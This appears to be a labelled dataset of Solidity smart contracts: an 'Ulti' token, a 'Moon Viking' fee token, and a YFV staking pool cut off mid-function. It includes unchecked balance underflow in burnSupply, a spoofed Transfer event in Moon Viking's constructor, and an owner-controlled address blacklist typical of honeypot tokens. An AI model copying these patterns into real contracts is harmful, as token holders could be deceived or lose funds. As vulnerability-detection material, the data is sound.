uint256 public totalSupply = 225000000 * (10**decimals);
address public owner;
modifier isOwner {
assert(owner == msg.sender);
_;
}
function Ulti() {
owner = msg.sender;
balanceOf[owner] = totalSupply;
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function setName(string _name) isOwner
{
name = _name;
}
function burnSupply(uint256 _amount) isOwner
{
balanceOf[owner] -= _amount;
SupplyBurn(_amount);
}
function burnTotalSupply(uint256 _amount) isOwner
{
totalSupply-= _amount;
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event SupplyBurn(uint256 _amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | True | [
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// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MoonViking is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Moon Viking";
string private constant _symbol = "MOONVIKING";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xe76E88e130fb756255444618E9B44b4ce8f319a3);
_feeAddrWallet2 = payable(0xe76E88e130fb756255444618E9B44b4ce8f319a3);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x52E9673D54ef688F60bBDa8e9AFc4C0E16C2C97C), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function burn(uint amount) external;
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address public rewardReferral;
address public rewardVote;
function notifyRewardAmount(uint256 reward) external;
function setRewardReferral(address _rewardReferral) external onlyOwner {
rewardReferral = _rewardReferral;
}
function setRewardVote(address _rewardVote) external onlyOwner {
rewardVote = _rewardVote;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
IERC20 public y = IERC20(0x2d3137C828963918fa8E54c5977Dd7293fb57e2e);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function tokenStake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
y.safeTransferFrom(msg.sender, address(this), amount);
}
function tokenWithdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
y.safeTransfer(msg.sender, amount);
}
}
interface IYFVReferral {
function setReferrer(address farmer, address referrer) external;
function getReferrer(address farmer) external view returns (address);
}
interface IYFVVote {
function averageVotingValue(address poolAddress, uint256 votingItem) external view returns (uint16);
}
interface IYFVStake {
function stakeOnBehalf(address stakeFor, uint256 amount) external;
}
contract YFVRewardsYCrvUNIv2Pool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public yfv = IERC20(0x45f24BaEef268BB6d63AEe5129015d69702BCDfa);
IERC20 public vUSD = IERC20(0x1B8E12F839BD4e73A47adDF76cF7F0097d74c14C);
IERC20 public vETH = IERC20(0x76A034e76Aa835363056dd418611E4f81870f16e);
uint256 public vUSD_REWARD_FRACTION_RATE = 21000000000; // 21 * 1e9 (vUSD decimals = 9)
uint256 public vETH_REWARD_FRACTION_RATE = 21000000000000; // 21000 * 1e9 (vETH decimals = 9)
uint256 public constant DURATION = 7 days;
uint8 public constant NUMBER_EPOCHS = 10;
uint256 public constant REFERRAL_COMMISSION_PERCENT = 1;
uint256 public constant EPOCH_REWARD = 525000 ether;
uint256 public constant TOTAL_REWARD = EPOCH_REWARD * NUMBER_EPOCHS;
uint256 public currentEpochReward = EPOCH_REWARD;
uint256 public totalAccumulatedReward = 0;
uint8 public currentEpoch = 0;
uint256 public starttime = 1598191200; // Sunday, August 23, 2020 2:00:00 PM (GMT+0)
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => bool) public claimedVETHRewards; // account -> has claimed vETH?
mapping(address => uint256) public accumulatedStakingPower; // will accumulate every time staker does getReward()
address public rewardStake;
event RewardAdded(uint256 reward);
event Burned(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event CommissionPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
